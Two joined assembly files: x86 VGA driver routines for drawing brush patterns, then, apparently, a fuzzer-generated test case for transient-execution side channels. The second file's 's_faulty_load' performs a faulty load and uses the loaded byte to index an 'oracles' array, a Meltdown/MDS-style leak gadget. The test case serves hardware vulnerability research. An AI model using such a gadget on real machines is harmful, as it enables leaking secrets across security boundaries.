; Draws middle words with 0 leading bytes and 1 trailing byte.
;
; Input:
; ppdev - pointer to physical device structure
; ulBlockHeight - # of scans to draw
; lMiddleDelta - distance from end of current scan to start of next
; ulMiddleDest - offset in bitmap at which to start drawing
; yBrush - current y brush alignment
; cwMiddle - # of words to draw on each scan
;
; Output:
; esi - new y brush alignment
; ulMiddleDest - new bitmap offset
;-----------------------------------------------------------------------;
public dual_wide_01_w
dual_wide_01_w::
; We only have to reset which planes are enabled if we do edges too:
mov edx,VGA_BASE + SEQ_DATA
mov al,MM_ALL
out dx,al
; Calculate full start addresses:
mov edi,ppdev
mov ebx,ulBlockHeight
mov ulBlockHeightTmp,ebx
mov ebx,pulPattern
mov edx,lMiddleDelta
mov esi,yBrush
mov edi,[edi].pdev_pvBitmapStart
add edi,ulMiddleDest
; EBX = pointer to start of pattern
; EDX = offset from end of scan to start of next
; ESI = current offset into pattern
; EDI = target address to which to write
dual_wide_01_w_loop:
mov eax,[ebx+esi*4] ;load pattern for this scan
mov ecx,cwMiddle
rep stosw ;light 8 pels on every write
inc esi ;advance to next scan of pattern
and esi,7
mov [edi],al ;write that last byte
add edi,edx ;advance to next scan
dec ulBlockHeightTmp
jnz short dual_wide_01_w_loop
; get ready for next time:
mov ecx,ppdev
sub edi,[ecx].pdev_pvBitmapStart
mov ulMiddleDest,edi
PLAIN_RET
;-----------------------------------------------------------------------;
; dual_wide_00_w
;
; Draws middle words with 0 leading bytes and 1 trailing byte.
;
; Input:
; ppdev - pointer to physical device structure
; ulBlockHeight - # of scans to draw
; lMiddleDelta - distance from end of current scan to start of next
; ulMiddleDest - offset in bitmap at which to start drawing
; yBrush - current y brush alignment
; cwMiddle - # of words to draw on each scan
;
; Output:
; esi - new y brush alignment
; ulMiddleDest - new bitmap offset
;-----------------------------------------------------------------------;
public dual_wide_00_w
dual_wide_00_w::
; We only have to reset which planes are enabled if we do edges too:
mov edx,VGA_BASE + SEQ_DATA
mov al,MM_ALL
out dx,al
; Calculate full start addresses:
mov edi,ppdev
mov ebx,ulBlockHeight
mov ulBlockHeightTmp,ebx
mov ebx,pulPattern
mov edx,lMiddleDelta
mov esi,yBrush
mov edi,[edi].pdev_pvBitmapStart
add edi,ulMiddleDest
; EBX = pointer to start of pattern
; EDX = offset from end of scan to start of next
; ESI = current offset into pattern
; EDI = target address to which to write
dual_wide_00_w_loop:
mov eax,[ebx+esi*4] ;load pattern for this scan
mov ecx,cwMiddle
rep stosw ;light 8 pels on every write
inc esi ;advance to next scan of pattern
and esi,7
add edi,edx ;advance to next scan
dec ulBlockHeightTmp
jnz short dual_wide_00_w_loop
; get ready for next time:
mov ecx,ppdev
sub edi,[ecx].pdev_pvBitmapStart
mov ulMiddleDest,edi
PLAIN_RET
;-----------------------------------------------------------------------;
; dual_left_1_w
;
; Draws a left edge when the next byte is not word aligned.
;
; Input:
; ppdev - pointer to physical device structure
; ulBlockHeight - # of scans to draw
; lDelta - distance from end of current scan to start of next
; ulLeftDest - offset in bitmap at which to start drawing
; yBrush - current y brush alignment
;
; Output:
; esi - new y brush alignment
; ulLeftDest - new bitmap offset
;-----------------------------------------------------------------------;
public dual_left_1_w
dual_left_1_w::
; Set left mask by disabling some planes:
mov edx,VGA_BASE + SEQ_DATA
mov eax,ulLeftMask
out dx,al
; Calculate full start addresses:
mov edi,ppdev
mov ebx,ulBlockHeight
mov ecx,pulPattern
mov edx,lDelta
mov esi,yBrush
mov edi,[edi].pdev_pvBitmapStart
add edi,ulLeftDest
; EBX = count of loop iterations
; ECX = pointer to start of pattern
; EDX = offset to next scan
; ESI = current offset into pattern
; EDI = target address to which to write
dual_left_1_w_loop:
mov eax,[ecx+esi*4] ;load pattern for this scan
mov [edi],al ;write the low byte
inc esi ;advance to next scan of pattern
and esi,7
add edi,edx ;advance to next scan
dec ebx
jnz short dual_left_1_w_loop
; get ready for next time:
mov ecx,ppdev
sub edi,[ecx].pdev_pvBitmapStart
mov ulLeftDest,edi
PLAIN_RET
;-----------------------------------------------------------------------;
; dual_left_0_w
;
; Draws a left edge when the next byte is word aligned.
;
; Input:
; ppdev - pointer to physical device structure
; ulBlockHeight - # of scans to draw
; lDelta - distance from end of current scan to start of next
; ulLeftDest - offset in bitmap at which to start drawing
; yBrush - current y brush alignment
;
; Output:
; esi - new y brush alignment
; ulLeftDest - new bitmap offset
;-----------------------------------------------------------------------;
public dual_left_0_w
dual_left_0_w::
; Set left mask by disabling some planes:
mov edx,VGA_BASE + SEQ_DATA
mov eax,ulLeftMask
out dx,al
; Calculate full start addresses:
mov edi,ppdev
mov ebx,ulBlockHeight
mov ecx,pulPattern
mov edx,lDelta
mov esi,yBrush
mov edi,[edi].pdev_pvBitmapStart
add edi,ulLeftDest
; EBX = count of loop iterations
; ECX = pointer to start of pattern
; EDX = offset to next scan
; ESI = current offset into pattern
; EDI = target address to which to write
dual_left_0_w_loop:
mov eax,[ecx+esi*4] ;load pattern for this scan
mov [edi],ah ;write the high byte
inc esi ;advance to next scan of pattern
and esi,7
add edi,edx ;advance to next scan
dec ebx
jnz short dual_left_0_w_loop
; get ready for next time:
mov ecx,ppdev
sub edi,[ecx].pdev_pvBitmapStart
mov ulLeftDest,edi
PLAIN_RET
;-----------------------------------------------------------------------;
; dual_right_1_w
;
; Draws a right edge when not word aligned.
;
; Input:
; ppdev - pointer to physical device structure
; ulBlockHeight - # of scans to draw
; lDelta - distance from end of current scan to start of next
; ulRightDest - offset in bitmap at which to start drawing
; yBrush - current y brush alignment
;
; Output:
; esi - new y brush alignment
; ulRightDest - new bitmap offset
;-----------------------------------------------------------------------;
public dual_right_1_w
dual_right_1_w::
; Set right mask by disabling some planes:
mov edx,VGA_BASE + SEQ_DATA
mov eax,ulRightMask
out dx,al
; Calculate full start addresses:
mov edi,ppdev
mov ebx,ulBlockHeight
mov ecx,pulPattern
mov edx,lDelta
mov esi,yBrush
mov edi,[edi].pdev_pvBitmapStart
add edi,ulRightDest
; EBX = count of loop iterations
; ECX = pointer to start of pattern
; EDX = offset to next scan
; ESI = current offset into pattern
; EDI = target address to which to write
dual_right_1_w_loop:
mov eax,[ecx+esi*4] ;load pattern for this scan
mov [edi],ah ;write the high byte
inc esi ;advance to next scan of pattern
and esi,7
add edi,edx ;advance to next scan
dec ebx
jnz short dual_right_1_w_loop
; get ready for next time:
mov ecx,ppdev
sub edi,[ecx].pdev_pvBitmapStart
mov ulRightDest,edi
PLAIN_RET
;-----------------------------------------------------------------------;
; dual_right_0_w
;
; Draws a right edge when word aligned.
;
; Input:
; ppdev - pointer to physical device structure
; ulBlockHeight - # of scans to draw
; lDelta - distance from end of current scan to start of next
; ulRightDest - offset in bitmap at which to start drawing
; yBrush - current y brush alignment
;
; Output:
; esi - new y brush alignment
; ulRightDest - new bitmap offset
;-----------------------------------------------------------------------;
public dual_right_0_w
dual_right_0_w::
; Set right mask by disabling some planes:
mov edx,VGA_BASE + SEQ_DATA
mov eax,ulRightMask
out dx,al
; Calculate full start addresses:
mov edi,ppdev
mov ebx,ulBlockHeight
mov ecx,pulPattern
mov edx,lDelta
mov esi,yBrush
mov edi,[edi].pdev_pvBitmapStart
add edi,ulRightDest
; EBX = count of loop iterations
; ECX = pointer to start of pattern
; EDX = offset to next scan
; ESI = current offset into pattern
; EDI = target address to which to write
dual_right_0_w_loop:
mov eax,[ecx+esi*4] ;load pattern for this scan
mov [edi],al ;write the low byte
inc esi ;advance to next scan of pattern
and esi,7
add edi,edx ;advance to next scan
dec ebx
jnz short dual_right_0_w_loop
; get ready for next time:
mov ecx,ppdev
sub edi,[ecx].pdev_pvBitmapStart
mov ulRightDest,edi
PLAIN_RET
;=======================================================================;
;========================= ROP Block Drawers ===========================;
;=======================================================================;
;-----------------------------------------------------------------------;
; dual_wide_11_rw
;
; Draws middle words with 1 leading byte and 1 trailing byte.
;
; Input:
; ppdev - pointer to physical device structure
; ulBlockHeight - # of scans to draw
; lMiddleDelta - distance from end of current scan to start of next
; ulMiddleDest - offset in bitmap at which to start drawing
; yBrush - current y brush alignment
; cwMiddle - # of words to draw on each scan
;
; Output:
; esi - new y brush alignment
; ulMiddleDest - new bitmap offset
;-----------------------------------------------------------------------;
public dual_wide_11_rw
dual_wide_11_rw::
; We only have to reset which planes are enabled if we do edges too:
mov edx,VGA_BASE + SEQ_DATA
mov al,MM_ALL
out dx,al
mov edi,ppdev
mov edx,ulBlockHeight
mov ulBlockHeightTmp,edx
mov edx,pulPattern ;load those registers
mov edi,[edi].pdev_pvBitmapStart
add edi,ulMiddleDest
mov esi,yBrush
mov ebx,cwMiddle
mov eax,[edx+esi*4] ;load pattern for this scan
inc esi
and esi,7
; EAX = pattern for this scan
; EBX = count of loop iterations
; EDX = pointer to start of pattern
; ESI = current offset into pattern
; EDI = target address to which to write
dual_wide_11_rw_loop:
and [edi],ah
and [edi+1],al
add edi,2 ;the write will overlap this
dec ebx
jnz short dual_wide_11_rw_loop
add edi,lMiddleDelta
dec ulBlockHeightTmp
jz short dual_wide_11_rw_done
mov eax,[edx+esi*4] ;load pattern for this scan
inc esi
and esi,7
mov ebx,cwMiddle
jmp dual_wide_11_rw_loop
dual_wide_11_rw_done:
mov ecx,ppdev
sub edi,[ecx].pdev_pvBitmapStart
mov ulMiddleDest,edi
PLAIN_RET
;-----------------------------------------------------------------------;
; dual_wide_10_rw
;
; Draws middle words with 1 leading byte and 0 trailing bytes.
;
; Input:
; ppdev - pointer to physical device structure
; ulBlockHeight - # of scans to draw
; lMiddleDelta - distance from end of current scan to start of next
; ulMiddleDest - offset in bitmap at which to start drawing
; yBrush - current y brush alignment
; cwMiddle - # of words to draw on each scan
;
; Output:
; esi - new y brush alignment
; ulMiddleDest - new bitmap offset
;-----------------------------------------------------------------------;
public dual_wide_10_rw
dual_wide_10_rw::
; We only have to reset which planes are enabled if we do edges too:
mov edx,VGA_BASE + SEQ_DATA
mov al,MM_ALL
out dx,al
mov edi,ppdev
mov edx,ulBlockHeight
mov ulBlockHeightTmp,edx
mov edx,pulPattern ;load those registers
mov edi,[edi].pdev_pvBitmapStart
add edi,ulMiddleDest
mov esi,yBrush
mov ebx,cwMiddle
mov eax,[edx+esi*4] ;load pattern for this scan
inc esi
and esi,7
or ebx,ebx ;have to watch for zero words
jz short dual_wide_10_rw_only_one_byte
mov pfnLoopTop,offset dual_wide_10_rw_loop
; EAX = pattern for this scan
; EBX = count of loop iterations
; EDX = pointer to start of pattern
; ESI = current offset into pattern
; EDI = target address to which to write
dual_wide_10_rw_loop:
and [edi],ah
and [edi+1],al
add edi,2 ;the write will overlap this
dec ebx
jnz short dual_wide_10_rw_loop
dual_wide_10_rw_odd_byte:
and [edi],ah ;write that odd byte
add edi,lMiddleDelta
dec ulBlockHeightTmp
jz short dual_wide_10_rw_done
mov eax,[edx+esi*4] ;load pattern for this scan
inc esi
and esi,7
mov ebx,cwMiddle
jmp pfnLoopTop
dual_wide_10_rw_only_one_byte:
mov pfnLoopTop,offset dual_wide_10_rw_odd_byte
jmp short dual_wide_10_rw_odd_byte
dual_wide_10_rw_done:
mov ecx,ppdev
sub edi,[ecx].pdev_pvBitmapStart
mov ulMiddleDest,edi
PLAIN_RET
;-----------------------------------------------------------------------;
; dual_wide_01_rw
;
; Draws middle words with 0 leading bytes and 1 trailing byte.
;
; Input:
; ppdev - pointer to physical device structure
; ulBlockHeight - # of scans to draw
; lMiddleDelta - distance from end of current scan to start of next
; ulMiddleDest - offset in bitmap at which to start drawing
; yBrush - current y brush alignment
; cwMiddle - # of words to draw on each scan
;
; Output:
; esi - new y brush alignment
; ulMiddleDest - new bitmap offset
;-----------------------------------------------------------------------;
public dual_wide_01_rw
dual_wide_01_rw::
; We only have to reset which planes are enabled if we do edges too:
mov edx,VGA_BASE + SEQ_DATA
mov al,MM_ALL
out dx,al
mov edi,ppdev
mov edx,ulBlockHeight
mov ulBlockHeightTmp,edx
mov edx,pulPattern ;load those registers
mov edi,[edi].pdev_pvBitmapStart
add edi,ulMiddleDest
mov esi,yBrush
mov ebx,cwMiddle
mov eax,[edx+esi*4] ;load pattern for this scan
inc esi
and esi,7
or ebx,ebx
jz short dual_wide_01_rw_only_one_byte
mov pfnLoopTop,offset dual_wide_01_rw_loop
; EAX = pattern for this scan
; EBX = count of loop iterations
; EDX = pointer to start of pattern
; ESI = current offset into pattern
; EDI = target address to which to write
dual_wide_01_rw_loop:
and [edi],al
and [edi+1],ah
add edi,2 ;the write will overlap this
dec ebx
jnz short dual_wide_01_rw_loop
dual_wide_01_rw_odd_byte:
and [edi],al ;write that odd byte
add edi,lMiddleDelta
dec ulBlockHeightTmp
jz short dual_wide_01_rw_done
mov eax,[edx+esi*4] ;load pattern for this scan
inc esi
and esi,7
mov ebx,cwMiddle
jmp pfnLoopTop
dual_wide_01_rw_only_one_byte:
mov pfnLoopTop,offset dual_wide_01_rw_odd_byte
jmp short dual_wide_01_rw_odd_byte
dual_wide_01_rw_done:
mov ecx,ppdev
sub edi,[ecx].pdev_pvBitmapStart
mov ulMiddleDest,edi
PLAIN_RET
;-----------------------------------------------------------------------;
; dual_wide_00_rw
;
; Draws middle words with 0 leading bytes and 0 trailing bytes.
;
; Input:
; ppdev - pointer to physical device structure
; ulBlockHeight - # of scans to draw
; lMiddleDelta - distance from end of current scan to start of next
; ulMiddleDest - offset in bitmap at which to start drawing
; yBrush - current y brush alignment
; cwMiddle - # of words to draw on each scan
;
; Output:
; esi - new y brush alignment
; ulMiddleDest - new bitmap offset
;-----------------------------------------------------------------------;
public dual_wide_00_rw
dual_wide_00_rw::
; We only have to reset which planes are enabled if we do edges too:
mov edx,VGA_BASE + SEQ_DATA
mov al,MM_ALL
out dx,al
mov edi,ppdev
mov edx,ulBlockHeight
mov ulBlockHeightTmp,edx
mov edx,pulPattern ;load those registers
mov edi,[edi].pdev_pvBitmapStart
add edi,ulMiddleDest
mov esi,yBrush
dual_wide_00_rw_scan_loop:
mov ebx,cwMiddle
mov eax,[edx+esi*4] ;load pattern for this scan
inc esi
and esi,7
; EAX = pattern for this scan
; EBX = count of loop iterations
; EDX = pointer to start of pattern
; ESI = current offset into pattern
; EDI = target address to which to write
dual_wide_00_rw_loop:
and [edi],al
and [edi+1],ah
add edi,2 ;the write will overlap this
dec ebx
jnz short dual_wide_00_rw_loop
add edi,lMiddleDelta
dec ulBlockHeightTmp
jnz dual_wide_00_rw_scan_loop
mov ecx,ppdev
sub edi,[ecx].pdev_pvBitmapStart
mov ulMiddleDest,edi
PLAIN_RET
;-----------------------------------------------------------------------;
; dual_left_1_rw
;
; Draws a left edge when the next byte is not word aligned.
;
; Input:
; ppdev - pointer to physical device structure
; ulBlockHeight - # of scans to draw
; lDelta - distance from end of current scan to start of next
; ulLeftDest - offset in bitmap at which to start drawing
; yBrush - current y brush alignment
;
; Output:
; esi - new y brush alignment
; ulLeftDest - new bitmap offset
;-----------------------------------------------------------------------;
public dual_left_1_rw
dual_left_1_rw::
; Set left mask by disabling some planes:
mov edx,VGA_BASE + SEQ_DATA
mov eax,ulLeftMask
out dx,al
; Calculate full start addresses:
mov edi,ppdev
mov ebx,ulBlockHeight
mov ecx,pulPattern
mov edx,lDelta
mov esi,yBrush
mov edi,[edi].pdev_pvBitmapStart
add edi,ulLeftDest
; EBX = count of loop iterations
; ECX = pointer to start of pattern
; EDX = offset to next scan
; ESI = current offset into pattern
; EDI = target address to which to write
dual_left_1_rw_loop:
mov eax,[ecx+esi*4] ;load pattern for this scan
and [edi],al ;write the low byte
inc esi ;advance to next scan of pattern
and esi,7
add edi,edx ;advance to next scan
dec ebx
jnz short dual_left_1_rw_loop
; get ready for next time:
mov ecx,ppdev
sub edi,[ecx].pdev_pvBitmapStart
mov ulLeftDest,edi
PLAIN_RET
;-----------------------------------------------------------------------;
; dual_left_0_rw
;
; Draws a left edge when the next byte is word aligned.
;
; Input:
; ppdev - pointer to physical device structure
; ulBlockHeight - # of scans to draw
; lDelta - distance from end of current scan to start of next
; ulLeftDest - offset in bitmap at which to start drawing
; yBrush - current y brush alignment
;
; Output:
; esi - new y brush alignment
; ulLeftDest - new bitmap offset
;-----------------------------------------------------------------------;
public dual_left_0_rw
dual_left_0_rw::
; Set left mask by disabling some planes:
mov edx,VGA_BASE + SEQ_DATA
mov eax,ulLeftMask
out dx,al
; Calculate full start addresses:
mov edi,ppdev
mov ebx,ulBlockHeight
mov ecx,pulPattern
mov edx,lDelta
mov esi,yBrush
mov edi,[edi].pdev_pvBitmapStart
add edi,ulLeftDest
; EBX = count of loop iterations
; ECX = pointer to start of pattern
; EDX = offset to next scan
; ESI = current offset into pattern
; EDI = target address to which to write
dual_left_0_rw_loop:
mov eax,[ecx+esi*4] ;load pattern for this scan
and [edi],ah ;write the high byte
inc esi ;advance to next scan of pattern
and esi,7
add edi,edx ;advance to next scan
dec ebx
jnz short dual_left_0_rw_loop
; get ready for next time:
mov ecx,ppdev
sub edi,[ecx].pdev_pvBitmapStart
mov ulLeftDest,edi
PLAIN_RET
;-----------------------------------------------------------------------;
; dual_right_1_rw
;
; Draws a right edge when not word aligned.
;
; Input:
; ppdev - pointer to physical device structure
; ulBlockHeight - # of scans to draw
; lDelta - distance from end of current scan to start of next
; ulRightDest - offset in bitmap at which to start drawing
; yBrush - current y brush alignment
;
; Output:
; esi - new y brush alignment
; ulRightDest - new bitmap offset
;-----------------------------------------------------------------------;
public dual_right_1_rw
dual_right_1_rw::
; Set right mask by disabling some planes:
mov edx,VGA_BASE + SEQ_DATA
mov eax,ulRightMask
out dx,al
; Calculate full start addresses:
mov edi,ppdev
mov ebx,ulBlockHeight
mov ecx,pulPattern
mov edx,lDelta
mov esi,yBrush
mov edi,[edi].pdev_pvBitmapStart
add edi,ulRightDest
; EBX = count of loop iterations
; ECX = pointer to start of pattern
; EDX = offset to next scan
; ESI = current offset into pattern
; EDI = target address to which to write
dual_right_1_rw_loop:
mov eax,[ecx+esi*4] ;load pattern for this scan
and [edi],ah ;write the high byte
inc esi ;advance to next scan of pattern
and esi,7
add edi,edx ;advance to next scan
dec ebx
jnz short dual_right_1_rw_loop
; get ready for next time:
mov ecx,ppdev
sub edi,[ecx].pdev_pvBitmapStart
mov ulRightDest,edi
PLAIN_RET
;-----------------------------------------------------------------------;
; dual_right_0_rw
;
; Draws a right edge when word aligned.
;
; Input:
; ppdev - pointer to physical device structure
; ulBlockHeight - # of scans to draw
; lDelta - distance from end of current scan to start of next
; ulRightDest - offset in bitmap at which to start drawing
; yBrush - current y brush alignment
;
; Output:
; esi - new y brush alignment
; ulRightDest - new bitmap offset
;-----------------------------------------------------------------------;
public dual_right_0_rw
dual_right_0_rw::
; Set right mask by disabling some planes:
mov edx,VGA_BASE + SEQ_DATA
mov eax,ulRightMask
out dx,al
; Calculate full start addresses:
mov edi,ppdev
mov ebx,ulBlockHeight
mov ecx,pulPattern
mov edx,lDelta
mov esi,yBrush
mov edi,[edi].pdev_pvBitmapStart
add edi,ulRightDest
; EBX = count of loop iterations
; ECX = pointer to start of pattern
; EDX = offset to next scan
; ESI = current offset into pattern
; EDI = target address to which to write
dual_right_0_rw_loop:
mov eax,[ecx+esi*4] ;load pattern for this scan
and [edi],al ;write the low byte
inc esi ;advance to next scan of pattern
and esi,7
add edi,edx ;advance to next scan
dec ebx
jnz short dual_right_0_rw_loop
; get ready for next time:
mov ecx,ppdev
sub edi,[ecx].pdev_pvBitmapStart
mov ulRightDest,edi
PLAIN_RET
;-----------------------------------------------------------------------;
endProc vMonoPat
;-----------------------------------------------------------------------;
; BOOL b2ColorBrush(pjBits, pjFgColor, pjBkColor)
;
; Determines if the 8x8x8bpp packed brush pointed to by pjBits has only
; two colors, and if so returns the 1bpp bitmap.
;
; Returns:
; eax = 1 if two (or one) color brush, 0 otherwise
; pjBits = pointer to packed 1bpp bitmap if a 2-color brush
; *pjFgColor = foreground color for returned 1bpp bitmap (i.e.,
; used to color-expand '1' bits)
; *pjBkColor = backgroun color for returned 1bpp bitmap (i.e.,
; used to color-expand '0' bits)
;-----------------------------------------------------------------------;
cProc b2ColorBrush,12,< \
uses esi edi ebx, \
pjBits: ptr BYTE, \
pjFgColor: ptr BYTE, \
pjBkColor: ptr BYTE >
; al = first color
; ah = second color
; ecx = number of unrolled loops
mov esi,pjBits
mov ecx,(BRUSH_SIZE shr 1)
mov al,[esi]
b2col_find_2nd_color_loop:
mov ah,[esi+1]
cmp ah,al
jne short b2col_find_consecutive_2nd_color_loop_part_1
add esi,2
dec ecx
jz short b2col_is_2_colors ;actually, it's only one color
mov ah,[esi]
cmp ah,al
jne short b2col_find_consecutive_2nd_color_loop_part_2
jmp short b2col_find_2nd_color_loop
;------------------------------------;
b2col_find_consecutive_1st_color_loop_part_1:
add esi,2
dec ecx
jz short b2col_is_2_colors
mov bl,[esi]
cmp bl,ah
je short b2col_find_consecutive_2nd_color_loop_part_2
cmp bl,al
jne short b2col_isnt_2_colors
b2col_find_consecutive_1st_color_loop_part_2:
mov bl,[esi+1]
cmp bl,ah
je short b2col_find_consecutive_2nd_color_loop_part_1
cmp bl,al
je short b2col_find_consecutive_1st_color_loop_part_1
xor eax,eax
cRet b2ColorBrush ;return FALSE
;------------------------------------;
b2col_find_consecutive_2nd_color_loop_part_1:
add esi,2
dec ecx
jz short b2col_is_2_colors
mov bl,[esi]
cmp bl,al
je short b2col_find_consecutive_1st_color_loop_part_2
cmp bl,ah
jne short b2col_isnt_2_colors
b2col_find_consecutive_2nd_color_loop_part_2:
mov bl,[esi+1]
cmp bl,al
je short b2col_find_consecutive_1st_color_loop_part_1
cmp bl,ah
je short b2col_find_consecutive_2nd_color_loop_part_1
b2col_isnt_2_colors:
xor eax,eax
cRet b2ColorBrush ;return FALSE
;------------------------------------;
public b2col_is_2_colors
b2col_is_2_colors::
; Here, we want the color with the lesser value to be in 'al', and the
; other to be in 'ah'.
cmp al,ah
jb short b2col_ordered_colors
xchg al,ah
b2col_ordered_colors:
mov ecx,(BRUSH_SIZE shr 3)
mov esi,pjBits
mov edi,esi
; Colors matching 'al' will get mapped to '1' bits, and colors matching
; 'ah' will get mapped to '0' bits:
b2col_monochrome_bitmap_loop:
cmp [esi+7],ah
adc bl,bl
cmp [esi+6],ah
adc bl,bl
cmp [esi+5],ah
adc bl,bl
cmp [esi+4],ah
adc bl,bl
cmp [esi+3],ah
adc bl,bl
cmp [esi+2],ah
adc bl,bl
cmp [esi+1],ah
adc bl,bl
cmp [esi],ah
adc bl,bl
; At this point, where the 8 bytes of the bitmap were ordered 0 1 2 3 4 5 6 7,
; we've got the monochrome byte in 'bl' ordered 7 6 5 4 3 2 1 0. We want
; the word ordered '3 2 1 0 7 6 5 4 | 7 6 5 4 3 2 1 0' where the lower 4 bits
; of every bit are the planes mask, and the upper 4 bits are ordered to
; facilitate easy rotating.
;
; The word is actually written into a dword in the destination buffer.
mov bh,bl
ror bh,4
mov [edi],ebx ;save this dword of monochrome bitmap
add edi,4
add esi,8
dec ecx
jnz b2col_monochrome_bitmap_loop
; Aside: because of the way this is written, if the two colors are black
; and white (i.e., 0x00 and 0xff), the foreground color will be black (0x00),
; and the background will be white (0xff).
mov esi,pjFgColor
mov edi,pjBkColor
mov [esi],al ;save foreground color
mov [edi],ah ;save background color
mov eax,1
cRet b2ColorBrush
endProc b2ColorBrush
end
| 33.605684 | 81 | 0.488214 |
7193e6b9657ee39bfa70e7e5a9246288204006ad | 7,347 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca_notsx.log_21829_1492.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca_notsx.log_21829_1492.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i9-9900K_12_0xca_notsx.log_21829_1492.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r15
push %r8
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x19f3a, %rcx
xor $38975, %r8
mov $0x6162636465666768, %r12
movq %r12, %xmm3
movups %xmm3, (%rcx)
xor $3781, %r15
lea addresses_UC_ht+0x183ce, %r12
nop
nop
nop
nop
add $22238, %r14
mov (%r12), %di
nop
cmp %rdi, %rdi
lea addresses_D_ht+0x9e4e, %r8
nop
xor $45283, %rdx
movb $0x61, (%r8)
nop
nop
cmp %r12, %r12
lea addresses_WC_ht+0xbde, %rsi
lea addresses_D_ht+0x11699, %rdi
nop
nop
xor %r14, %r14
mov $102, %rcx
rep movsw
nop
nop
and %r15, %r15
lea addresses_D_ht+0x5ce4, %rsi
lea addresses_WT_ht+0x1a9de, %rdi
clflush (%rdi)
nop
nop
nop
and %r8, %r8
mov $71, %rcx
rep movsw
nop
cmp $49380, %rcx
lea addresses_WC_ht+0x1327a, %rsi
lea addresses_A_ht+0x1a8de, %rdi
nop
nop
nop
and %rdx, %rdx
mov $96, %rcx
rep movsq
nop
nop
nop
xor $15591, %r8
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
// Store
lea addresses_D+0x1ebde, %r12
nop
nop
nop
dec %rbp
mov $0x5152535455565758, %r13
movq %r13, %xmm4
vmovups %ymm4, (%r12)
nop
nop
nop
nop
nop
and %r12, %r12
// Store
lea addresses_normal+0xb3de, %rdx
nop
nop
nop
inc %rbx
mov $0x5152535455565758, %r13
movq %r13, %xmm5
vmovups %ymm5, (%rdx)
nop
nop
xor %r12, %r12
// Store
lea addresses_normal+0x1bbde, %r13
nop
sub $36449, %rcx
movl $0x51525354, (%r13)
nop
nop
nop
nop
nop
sub %rbp, %rbp
// Store
lea addresses_WC+0x193de, %rbx
nop
nop
nop
sub %r13, %r13
movl $0x51525354, (%rbx)
nop
xor %r13, %r13
// Store
mov $0xbde, %r12
nop
add $5718, %r13
mov $0x5152535455565758, %rdi
movq %rdi, %xmm4
vmovups %ymm4, (%r12)
nop
nop
nop
nop
nop
sub $22326, %rcx
// Store
lea addresses_normal+0x1bbde, %r13
nop
nop
nop
nop
inc %rdx
mov $0x5152535455565758, %rcx
movq %rcx, %xmm6
movups %xmm6, (%r13)
nop
nop
nop
nop
nop
xor $54547, %r13
// Store
lea addresses_US+0x1efde, %r13
nop
nop
cmp $15964, %r12
movl $0x51525354, (%r13)
nop
add $10775, %rbp
// Faulty Load
lea addresses_normal+0x1bbde, %rcx
nop
xor %rdi, %rdi
movups (%rcx), %xmm1
vpextrq $0, %xmm1, %r12
lea oracles, %rdx
and $0xff, %r12
shlq $12, %r12
mov (%rdx,%r12,1), %r12
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_P', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_US', 'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 10}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 3}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_D_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WT_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_A_ht'}}
{'58': 21829}
